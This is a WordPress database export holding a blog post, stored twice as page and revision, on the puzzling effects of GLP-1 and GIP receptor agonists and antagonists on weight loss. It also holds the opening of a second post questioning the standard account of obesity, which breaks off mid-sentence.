(442,1,'2024-06-12 17:06:33','2024-06-12 17:06:33','<!-- wp:paragraph -->\n<p>So, the situation with GLP-1 receptor agonism and GIP receptor agonism is weirder than I thought.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To recap, GLP-1 receptor agonists, like Ozempic, cause people to lose weight. GLP-1 receptor/GIP dual receptor agonists, like Mounjaro, cause people to lose even more weight. As such, these dual agonists are often sold as sequels or improvements to mono agonists.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, as I wrote previously, the story is more complicated than just “dual agonism is better than single”, because GLP-1 receptor agonism combined with GIP receptor&nbsp;<em>inhibition</em>&nbsp;is also more effective at causing weight loss than GLP-1 receptor agonism alone. This has been shown in mice and now Amgen has claimed they have shown it in humans (and have also claimed that the weight loss with this agonist/inhibitor drug is more sustained than the weight loss of agonist/agonist drug, but that’s a separate issue I will cover in a later blog post).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading Trevor Klee’s Newsletter! Subscribe for free to receive new posts, which tend to be about obesity a surprising amount. What can I say: it’s an interesting subject.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subscribed</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, as it turns out, the story is even more complicated than that, at least according to&nbsp;<a href=\"https://www.sciencedirect.com/science/article/pii/S2212877820302131#sec4\">this great review paper</a>. First of all, apparently, it works in the reverse: GLP-1 receptor&nbsp;<em>inhibition</em>&nbsp;can result in weight loss (in mice), so, that’s pretty weird. Second, remember how GLP-1 receptor agonism results in insulin secretion and weight loss?&nbsp; Well, apparently, those two don’t always have to be correlated, when you do different combinations of agonism and inhibition.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Confused, yet? Because I am. I was so confused that I made a table.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f26f0a7-090d-445e-81de-7588c241d507_1130x728.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f26f0a7-090d-445e-81de-7588c241d507_1130x728.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Also, I do have to admit: I relied on the review paper to summarize these papers for me. I didn’t actually go deep into the papers myself. That probably would be a good idea at some point if someone wants to seriously dive into this subject.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Overall, this seems…very difficult to understand. Now, before I go any further, I did make some simplifications to make this table which may or may not have been justified.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First of all, the distinction between weight loss on a normal diet and protection from weight gain in a high fat diet is a tricky one, because it’s hard to tell if the latter actually qualifies for our final goal, which is presumably “will an obese person taking this lose weight?”. An ideal experiment would likely be to start the mice in any one of the “protection” cells in the table on a high fat diet with no drug, then give them the “protection” drug midway through the trial while keeping them on a high fat diet, and see if they lose weight or maintain their obesity. However, I’m not aware of anyone that’s done that.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If protection from weight gain is removed from the table, the table becomes way more straightforward, with all GLP-1 agonism resulting in weight loss, ignoring the scale (heh) of weight loss, which is a different story.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Second, in this table, I combined gene editing to remove GLP-1 or GIP receptors with pharmacological antagonists for GLP-1 or GIP receptors. This isn’t necessarily the same thing, as genetically deleting receptors is, by definition, permanent and throughout the body, and pharmacological antagonism isn’t<a href=\"https://trevorklee.substack.com/p/glp-1-and-gip-agonism-and-antagonism#footnote-1-143158351\">1</a>. Pharmacological antagonism is, of course, the only thing we’d be doing in humans, so this may not be justified.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, if we accept these simplifications, the story we seem to get is that GLP-1 receptor agonism combined with anything results in weight loss. GIP receptor anything (agonism or antagonism) results in protection from weight gain. And GLP-1 anything (agonism or antagonism) results in enhanced insulin secretion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The review paper I got this data from suggests that the most likely explanation for this is that there is some other system that we aren’t accounting for. So antagonism or genetic deletion take those receptors out of the equation, then whatever other system causes enhanced insulin secretion or protection from weight gain<a href=\"https://trevorklee.substack.com/p/glp-1-and-gip-agonism-and-antagonism#footnote-2-143158351\">2</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I want to add onto that by noting a couple things.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first is that insulin’s connection to obesity is complicated, as&nbsp;<a href=\"https://trevorklee.substack.com/p/anthropocentrism-insulin-and-obese\">I’ve talked about before</a>&nbsp;in the context of blind, obese, long-lived cavefish<a href=\"https://trevorklee.substack.com/p/glp-1-and-gip-agonism-and-antagonism#footnote-3-143158351\">3</a>. Saying that GLP-1 agonists and antagonists cause enhanced insulin secretion is all well and good, but the quick connection of increased insulin to less glucose in the bloodstream to less body fat can’t be made so quickly. Insulin resistance, which is associated with obesity (but quickly goes away in obese people who lose even a tiny amount of weight and then returns when they gain weight again), is not caused by too much insulin, but is likely part of some bodily switch that goes from normal body types to obese body types, like in the cavefish linked above.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This bodily switch is likely, in my opinion, linked to whatever additional system is at play when GLP-1 receptor antagonists cause enhanced insulin secretion and protection from weight gain. In fact, it seems to be the reverse of it: insulin resistance makes it very difficult to lose weight, while GLP-1 receptor antagonism makes it very difficult to gain weight. If I’m right, I would guess that GLP-1 receptor antagonism affects the insulin receptors in cells as well, so that would be the first place I’d look.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The second is that how weight loss happens is, again, complicated. There is definitely some extent to which weight loss happens in the body, which is complicatedly related to insulin and insulin resistance as above. There is also some extent to which weight loss happens in the brain, especially when it comes to GLP-1 agonists and GIP agonists, as mentioned in footnote 1.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, given that the brain affects weight loss, this means that all of the weird ways that receptors work in the brain still apply. Brain receptors are really weird and can be paradoxical. Take SSRIs (selective serotonin reuptake inhibitors), for instance. They supposedly work by preventing the reuptake of serotonin from the synaptic cleft. This lets them help people with depression and anxiety.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Yet, for some reason, SSRIs usually take a few weeks to really work, even though they start preventing the reuptake of serotonin immediately. Why do they take a few weeks? Nobody knows! It probably has something to do with long term desensitization of the serotonin receptors due to an excess of serotonin, but in order to determine that, we’d have to have a good idea of what serotonin even does, which we don’t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, it’s entirely possible GIP receptor agonism acts the same way as GIP receptor antagonism because it’s desensitizing receptors over an extended period of time. That can happen! The only way to check is to dose mice with normal levels of these drugs over an extended period of time, and then check their receptors. Unfortunately, the only studies that have been done to show anything close to this have been with very high doses of these drugs over a limited period of time, which has questionable physiological relevance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyways, unfortunately, all of this is to say that this is all…complicated. I don’t have great answers for what’s going on with GLP-1/GIP agonism/antagonism, only hypotheses. This does make me want to dive in the data and see if I can develop hypotheses regarding the scale and durability of the weight loss after cessation of treatment, because that seems to be the next big battleground, but that’s a story for another blog post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/glp-1-and-gip-agonism-and-antagonism#footnote-anchor-1-143158351\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Adding to this, there are also a number of experiments testing just removing GLP-1 receptors in the pancreas vs. removing them in the whole body to see where weight loss is coming from. Currently, the idea seems to be that weight loss probably comes from acting on the GLP-1 or GIP receptors in the brain (as I discuss in this post), which seems unsurprising to me (people want to eat less) but apparently is a big source of controversy in the field.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I guess they didn’t think semaglutide would affect the brain because it shouldn’t cross the blood-brain barrier, but I’ve thought for a long time that’s an oversimplification. There are a bunch of drugs that affect the brain (like antibiotics or even just straight GABA) that don’t cross the blood-brain barrier, and I don’t buy that it’s because there’s a “second brain in our gut”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I ignored these complications while making my table as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/glp-1-and-gip-agonism-and-antagonism#footnote-anchor-2-143158351\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although “protection from weight gain” seems like a weird way to think about it. Protection is loaded language, because it automatically suggests weight gain is bad, which would definitely not be true from an evolutionary perspective. Maybe something more like “keeps body at a set point” as a control system metaphor would be better.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/glp-1-and-gip-agonism-and-antagonism#footnote-anchor-3-143158351\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As a quick refresher, there are normal fish that live in streams outside of caves, and there are weird, obese, long-lived, eyeless cavefish that live in caves. The normal fish have normal metabolisms; the cavefish have weird metabolisms (including insulin resistance) that predispose them to becoming obese. Even though the normal fish and the troglodytic cavefish look incredibly different, they are actually very genetically similar, and normal fish can become cavefish in just a few generations. This suggests that there’s a pretty simple switch somewhere that turns normal fish into obese cavefish.</p>\n<!-- /wp:paragraph -->','GLP-1 and GIP agonism and antagonism is weird','','publish','closed','closed','','glp-1-and-gip-agonism-and-antagonism-is-weird','','','2024-06-12 17:06:33','2024-06-12 17:06:33','',0,'https://trevorklee.com/?page_id=442',0,'page','',0),
(443,1,'2024-06-12 17:06:33','2024-06-12 17:06:33','<!-- wp:paragraph -->\n<p>So, the situation with GLP-1 receptor agonism and GIP receptor agonism is weirder than I thought.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To recap, GLP-1 receptor agonists, like Ozempic, cause people to lose weight. GLP-1 receptor/GIP dual receptor agonists, like Mounjaro, cause people to lose even more weight. As such, these dual agonists are often sold as sequels or improvements to mono agonists.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, as I wrote previously, the story is more complicated than just “dual agonism is better than single”, because GLP-1 receptor agonism combined with GIP receptor&nbsp;<em>inhibition</em>&nbsp;is also more effective at causing weight loss than GLP-1 receptor agonism alone. This has been shown in mice and now Amgen has claimed they have shown it in humans (and have also claimed that the weight loss with this agonist/inhibitor drug is more sustained than the weight loss of agonist/agonist drug, but that’s a separate issue I will cover in a later blog post).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading Trevor Klee’s Newsletter! Subscribe for free to receive new posts, which tend to be about obesity a surprising amount. What can I say: it’s an interesting subject.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subscribed</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, as it turns out, the story is even more complicated than that, at least according to&nbsp;<a href=\"https://www.sciencedirect.com/science/article/pii/S2212877820302131#sec4\">this great review paper</a>. First of all, apparently, it works in the reverse: GLP-1 receptor&nbsp;<em>inhibition</em>&nbsp;can result in weight loss (in mice), so, that’s pretty weird. Second, remember how GLP-1 receptor agonism results in insulin secretion and weight loss?&nbsp; Well, apparently, those two don’t always have to be correlated, when you do different combinations of agonism and inhibition.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Confused, yet? Because I am. I was so confused that I made a table.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f26f0a7-090d-445e-81de-7588c241d507_1130x728.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f26f0a7-090d-445e-81de-7588c241d507_1130x728.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Also, I do have to admit: I relied on the review paper to summarize these papers for me. I didn’t actually go deep into the papers myself. That probably would be a good idea at some point if someone wants to seriously dive into this subject.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Overall, this seems…very difficult to understand. Now, before I go any further, I did make some simplifications to make this table which may or may not have been justified.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First of all, the distinction between weight loss on a normal diet and protection from weight gain in a high fat diet is a tricky one, because it’s hard to tell if the latter actually qualifies for our final goal, which is presumably “will an obese person taking this lose weight?”. An ideal experiment would likely be to start the mice in any one of the “protection” cells in the table on a high fat diet with no drug, then give them the “protection” drug midway through the trial while keeping them on a high fat diet, and see if they lose weight or maintain their obesity. However, I’m not aware of anyone that’s done that.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If protection from weight gain is removed from the table, the table becomes way more straightforward, with all GLP-1 agonism resulting in weight loss, ignoring the scale (heh) of weight loss, which is a different story.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Second, in this table, I combined gene editing to remove GLP-1 or GIP receptors with pharmacological antagonists for GLP-1 or GIP receptors. This isn’t necessarily the same thing, as genetically deleting receptors is, by definition, permanent and throughout the body, and pharmacological antagonism isn’t<a href=\"https://trevorklee.substack.com/p/glp-1-and-gip-agonism-and-antagonism#footnote-1-143158351\">1</a>. Pharmacological antagonism is, of course, the only thing we’d be doing in humans, so this may not be justified.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, if we accept these simplifications, the story we seem to get is that GLP-1 receptor agonism combined with anything results in weight loss. GIP receptor anything (agonism or antagonism) results in protection from weight gain. And GLP-1 anything (agonism or antagonism) results in enhanced insulin secretion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The review paper I got this data from suggests that the most likely explanation for this is that there is some other system that we aren’t accounting for. So antagonism or genetic deletion take those receptors out of the equation, then whatever other system causes enhanced insulin secretion or protection from weight gain<a href=\"https://trevorklee.substack.com/p/glp-1-and-gip-agonism-and-antagonism#footnote-2-143158351\">2</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I want to add onto that by noting a couple things.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first is that insulin’s connection to obesity is complicated, as&nbsp;<a href=\"https://trevorklee.substack.com/p/anthropocentrism-insulin-and-obese\">I’ve talked about before</a>&nbsp;in the context of blind, obese, long-lived cavefish<a href=\"https://trevorklee.substack.com/p/glp-1-and-gip-agonism-and-antagonism#footnote-3-143158351\">3</a>. Saying that GLP-1 agonists and antagonists cause enhanced insulin secretion is all well and good, but the quick connection of increased insulin to less glucose in the bloodstream to less body fat can’t be made so quickly. Insulin resistance, which is associated with obesity (but quickly goes away in obese people who lose even a tiny amount of weight and then returns when they gain weight again), is not caused by too much insulin, but is likely part of some bodily switch that goes from normal body types to obese body types, like in the cavefish linked above.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This bodily switch is likely, in my opinion, linked to whatever additional system is at play when GLP-1 receptor antagonists cause enhanced insulin secretion and protection from weight gain. In fact, it seems to be the reverse of it: insulin resistance makes it very difficult to lose weight, while GLP-1 receptor antagonism makes it very difficult to gain weight. If I’m right, I would guess that GLP-1 receptor antagonism affects the insulin receptors in cells as well, so that would be the first place I’d look.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The second is that how weight loss happens is, again, complicated. There is definitely some extent to which weight loss happens in the body, which is complicatedly related to insulin and insulin resistance as above. There is also some extent to which weight loss happens in the brain, especially when it comes to GLP-1 agonists and GIP agonists, as mentioned in footnote 1.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, given that the brain affects weight loss, this means that all of the weird ways that receptors work in the brain still apply. Brain receptors are really weird and can be paradoxical. Take SSRIs (selective serotonin reuptake inhibitors), for instance. They supposedly work by preventing the reuptake of serotonin from the synaptic cleft. This lets them help people with depression and anxiety.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Yet, for some reason, SSRIs usually take a few weeks to really work, even though they start preventing the reuptake of serotonin immediately. Why do they take a few weeks? Nobody knows! It probably has something to do with long term desensitization of the serotonin receptors due to an excess of serotonin, but in order to determine that, we’d have to have a good idea of what serotonin even does, which we don’t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, it’s entirely possible GIP receptor agonism acts the same way as GIP receptor antagonism because it’s desensitizing receptors over an extended period of time. That can happen! The only way to check is to dose mice with normal levels of these drugs over an extended period of time, and then check their receptors. Unfortunately, the only studies that have been done to show anything close to this have been with very high doses of these drugs over a limited period of time, which has questionable physiological relevance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyways, unfortunately, all of this is to say that this is all…complicated. I don’t have great answers for what’s going on with GLP-1/GIP agonism/antagonism, only hypotheses. This does make me want to dive in the data and see if I can develop hypotheses regarding the scale and durability of the weight loss after cessation of treatment, because that seems to be the next big battleground, but that’s a story for another blog post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/glp-1-and-gip-agonism-and-antagonism#footnote-anchor-1-143158351\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Adding to this, there are also a number of experiments testing just removing GLP-1 receptors in the pancreas vs. removing them in the whole body to see where weight loss is coming from. Currently, the idea seems to be that weight loss probably comes from acting on the GLP-1 or GIP receptors in the brain (as I discuss in this post), which seems unsurprising to me (people want to eat less) but apparently is a big source of controversy in the field.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I guess they didn’t think semaglutide would affect the brain because it shouldn’t cross the blood-brain barrier, but I’ve thought for a long time that’s an oversimplification. There are a bunch of drugs that affect the brain (like antibiotics or even just straight GABA) that don’t cross the blood-brain barrier, and I don’t buy that it’s because there’s a “second brain in our gut”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I ignored these complications while making my table as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/glp-1-and-gip-agonism-and-antagonism#footnote-anchor-2-143158351\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although “protection from weight gain” seems like a weird way to think about it. Protection is loaded language, because it automatically suggests weight gain is bad, which would definitely not be true from an evolutionary perspective. Maybe something more like “keeps body at a set point” as a control system metaphor would be better.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/glp-1-and-gip-agonism-and-antagonism#footnote-anchor-3-143158351\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As a quick refresher, there are normal fish that live in streams outside of caves, and there are weird, obese, long-lived, eyeless cavefish that live in caves. The normal fish have normal metabolisms; the cavefish have weird metabolisms (including insulin resistance) that predispose them to becoming obese. Even though the normal fish and the troglodytic cavefish look incredibly different, they are actually very genetically similar, and normal fish can become cavefish in just a few generations. This suggests that there’s a pretty simple switch somewhere that turns normal fish into obese cavefish.</p>\n<!-- /wp:paragraph -->','GLP-1 and GIP agonism and antagonism is weird','','inherit','closed','closed','','442-revision-v1','','','2024-06-12 17:06:33','2024-06-12 17:06:33','',442,'https://trevorklee.com/?p=443',0,'revision','',0),
(444,1,'2024-06-12 17:07:40','2024-06-12 17:07:40','<!-- wp:paragraph -->\n<p>There’s a traditional story of obesity that goes something like this:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><!-- wp:paragraph -->\n<p>Obesity is a condition in which an organism has an excessive amount of fat. The definition of “excessive” is really only carefully defined in humans, in which excessive is defined as the ratio of the person’s weight (kg)/ the square of that person’s height (m) being over 30 (a.k.a. the body mass index, or BMI). This is defined as excessive because at or above that ratio, people tend to get negative health issues from all their fat, such as type 2 diabetes or cardiovascular disease.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Obesity is ultimately caused by an excess number of calories consumed vs. calories utilized by exercise and daily living. However, there are many factors that influence this, including diet, genetics, hormones, pollutants, and mental disorders.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Permanently losing weight as an obese person is very difficult. Some of the most effective weight loss interventions are surgeries that restrict the amount of food obese people can consume, and, more recently, medications that make people want to eat less.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Biologically, obesity is closely tied to a few different systems, especially the insulin system, which impacts the downstream blood lipid system, which includes fatty acids, cholesterol, and triglycerides. Obesity can cause malfunctions in both systems. In the insulin system, obesity causes type 2 diabetes, resulting in low levels of insulin in the blood and insulin resistance in the cells.&nbsp; In the blood lipid system, obesity generally results in inappropriately high levels of cholesterol and triglycerides. Malfunctions in both systems can also impact obesity or weight more generally.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Obesity also impacts and can be impacted by a number of different biological systems, including the immune system and the endocrine system. Those connections are more obscure and not at play in all people. But, obesity does increase the risk of autoimmune disorders, especially in women, and it does increase the risk of endocrine disorders, also especially in women. Some autoimmune disorders, like lupus, can cause weight gain, as can some immunosuppressants. Some endocrine disorders can also cause weight gain.</p>\n<!-- /wp:paragraph --></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>This story is fine if you’re a primary care physician or someone writing an intro to a study. But it doesn’t really capture how weird obesity and weight in general is. As a result, it misses a lot of the complexity that actually matters if we want a scientific understanding of obesity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s start at the top, with the definition of obesity. As I mentioned, the standard definition of obesity is at or above a BMI of 30, because that value tends to be associated with negative health consequences in the people who are usually studied in obesity studies (i.e. white, middle-class Westerners). But the threshold value for negative health consequences from too much fat is not a constant. It changes depending on ethnic group. Aboriginal Australians tend to start experiencing health consequences at significantly lower BMIs than 30, Asian people tend to start experiencing negative health consequences at somewhat lower BMIs, and Inuits tend to start experiencing negative health consequences at higher BMIs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1b3819d2-cb07-4a98-8353-ac4f2ff6eada_306x443.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1b3819d2-cb07-4a98-8353-ac4f2ff6eada_306x443.jpeg\" alt=\"An Eskimo smokes a pipe\" title=\"An Eskimo smokes a pipe\"/></a><figcaption class=\"wp-element-caption\">What the Inuits looked like, historically. This is a guy who has adapted to incredibly cold conditions, in part by storing some fat. His descendants are also well-equipped to handle fat, more so than people who are descended from skinny people.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Then, when we move onto the animal kingdom, for some species being obese isn’t associated with any negative health consequences at all. Not only are there obvious examples of fat animals like whales or seals, but pretty much all migratory and hibernatory animals put on an enormous amount of fat in preparation for their metabolically challenging migrations or hibernations. Needless to say, neither hummingbirds nor grizzly bears get heart attacks when they double their weight.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This switch from obesity being bad to obesity being good seems easy to trigger, too, if cavefish are any indication. As I wrote about previously, there are a couple different species of fish who live normal, fishy lives in streams near caves. However, if you raise them in complete darkness for a couple generations, they become obese, eyeless, and exceptionally long lived.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, if we keep moving down our standard story of obesity, we get the issue of obesity being all about a surplus of calories for an extended period of time, and weight loss being about a deficit of calories for an extended period of time. This ignores the complexity of how surpluses and deficits are “calculated”. When obese people lose a lot of weight, their body tries to get back to their old weight, with one study reporting that a formerly obese person had to eat only 800 calories per day to stop himself from gaining weight. Similarly, anorexic people are often “hypermetabolic” when they attempt to gain weight and no longer be anorexic, and are forced to eat enormous quantities to gain any weight at all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And while the effective surgical interventions are straightforward enough to understand, the most recent, most effective medical interventions are anything but, as my last post was about. We thought the medical weight loss interventions were all about “making us feel like we’re full” by imitating the GLP-1 peptide released after eating, but, unfortunately, it’s way more complicated than that. For some reason, imitating that peptide or its complement, GIP, or imitating the inverse of that peptide or the inverse of its complement (i.e. the antagonists of those receptors) can all have surprisingly similar effects on both weight loss and/or protection from weight gain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Convinced yet that this traditional story has holes? No? Well, let’s keep going. It’s true that obesity tends to lead to type 2 diabetes, which leads to underproduction of insulin and insulin resistance. However, directly administering insulin tends to lead to weight gain. Also, insulin resistance goes away almost immediately upon any amount of weight loss, and then re-establishes itself on any amount of weight gain. However, both fat cell creation (lipogenesis) and fat cell destruction (lipolysis) also lead to drops in insulin resistance. Oh, and also, pretty much any medication that interacts with GLP-1 receptors or GIP receptors, whether agonizing them or antagonizing them, leads to insulin secretion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, last, when it comes to obesity, autoimmune, and endocrine disorders, well, as I mentioned, a lot of those only affect women, like obesity-associated asthma. Now, while it’s true that autoimmune and endocrine disorders disproportionately impact women, still, there’s no theory of obesity that explains why some of those would only impact women. The normal explanations, like fat cells causing inflammation, don’t cut it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F53449213-5882-44b3-935e-a516334bcb7c_500x376.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F53449213-5882-44b3-935e-a516334bcb7c_500x376.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Perfect example: obesity-related asthma is literally only a problem for women. Why? Hard to say!</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Towards a new theory of obesity</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Imagine you’re a gardener harvesting blackberries at the end of summer. You’re faced with a basic issue: what do you do with the blackberries you harvest?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, obviously, you’re going to save some for now, some for later, and some for way later. Maybe you’ll eat some of the blackberries, put some in a basket, freeze some, and turn the rest into a preserve. And these are going to be your options, generally speaking, no matter who you are or where you are growing blackberries. There are only so many options on what you can do with blackberries.<br><br>What is dependent on who (or where) you are, however, is how you allocate your blackberries. If you haven’t eaten breakfast yet, maybe you’ll eat a lot of blackberries now, but you won’t want any for dinner. If your family loves blackberries, maybe you’ll save a ton of blackberries for dinner tonight. If the local supermarket never stocks blackberries, maybe you’ll want to freeze a lot. As a result of this, it’s impossible for me to make a generalization about the best way for you to handle your blackberries without knowing more about your situation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s not to say I can never make a judgment about whether you’ve handled your blackberries the right way. I have an uncle who used to sneak jars of applesauce into our pantry whenever he’d visit, because his apple trees would produce too many apples for his family alone to consume, and he didn’t have the time or inclination to sell them. His options were to let the apples rot in his yard or to reverse steal applesauce from (to?) us. Uncle Cary did not handle his apples the right way, and, if he had grown blackberries, would probably have not handled his blackberries the right way either.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But,&nbsp;<em>a priori</em>, a snapshot of anyone’s blackberry (or apple) plans or larder doesn’t let us know if they are handling their blackberries correctly. Even Uncle Cary’s basement, overflowing with applesauce (and pickles, and canned peaches, and tomato sauce), wouldn’t necessarily have tipped us off. After all, he could have just been storing them temporarily while he waited to donate them to whatever soup kitchen he hadn’t already overloaded with stuff.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, having a basement overflowing with blackberry preserves might mean that you’re bad at planning, and soon you’ll need to reverse-steal your preserves away. Or it might 